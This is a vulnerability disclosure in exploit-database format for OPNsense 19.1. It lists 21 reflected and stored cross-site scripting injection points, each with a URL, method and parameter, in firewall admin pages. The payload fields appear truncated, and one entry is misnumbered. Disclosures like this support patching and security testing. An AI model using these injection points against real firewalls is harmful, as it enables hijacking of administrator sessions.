################################################################################################################################## # Exploit Title: OPNsense 19.1 | Cross-Site Scripting # Date: 01.02.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://opnsense.org # Software Link: http://mirror.ams1.nl.leaseweb.net/opnsense/releases/19.1/OPNsense-19.1-OpenSSL-dvd-amd64.iso.bz2 # Version: 19.1 ################################################################################################################################## Introduction OPNsense is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources. ################################################################################# XSS details: Reflected & Stored ################################################################################# XSS1 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveEmail PAYLOAD "> ################################################################################# XSS2 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveFolderID PAYLOAD "> ################################################################################# XSS3 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveBackupCount PAYLOAD "> ################################################################################# XSS4 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_url PAYLOAD "> ################################################################################# XSS5 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_user PAYLOAD "> ################################################################################# XSS6 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_password PAYLOAD "> ################################################################################# XSS7 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_password_encryption PAYLOAD "> ################################################################################# XSS8 | Reflected URL http://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_backupdir PAYLOAD "> ################################################################################# XSS9 | Stored URL http://192.168.2.200/system_advanced_sysctl.php?act=edit METHOD Post PARAMETER tunable PAYLOAD "> ################################################################################# XSS10 | Reflected URL http://192.168.2.200/system_advanced_sysctl.php?act=edit METHOD Post PARAMETER value PAYLOAD "> ################################################################################# XSS11 | Reflected URL http://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER tag PAYLOAD "> ################################################################################# XSS2 | Reflected URL http://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER descr PAYLOAD "> ################################################################################# XSS13 | Reflected URL http://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER vlanif PAYLOAD "> ################################################################################# XSS14 | Reflected URL http://192.168.2.200/diag_ping.php METHOD Post PARAMETER host PAYLOAD "> ################################################################################# XSS15 | Reflected URL http://192.168.2.200/diag_traceroute.php METHOD Post PARAMETER host PAYLOAD "> ################################################################################# XSS16 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS17 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS18 | Stored URL http://192.168.2.200/firewall_rules_edit.php?if=wan METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS19 | Reflected URL http://192.168.2.200/vpn_ipsec_settings.php METHOD Post PARAMETER passthrough_networks%5B%5D PAYLOAD ################################################################################# XSS20 | Reflected URL http://192.168.2.200/ui/monit METHOD Post PARAMETER mailserver PAYLOAD ################################################################################# XSS21 | Reflected URL http://192.168.2.200/ui/proxy METHOD Post PARAMETER ignoreLogACL PAYLOAD #################################################################################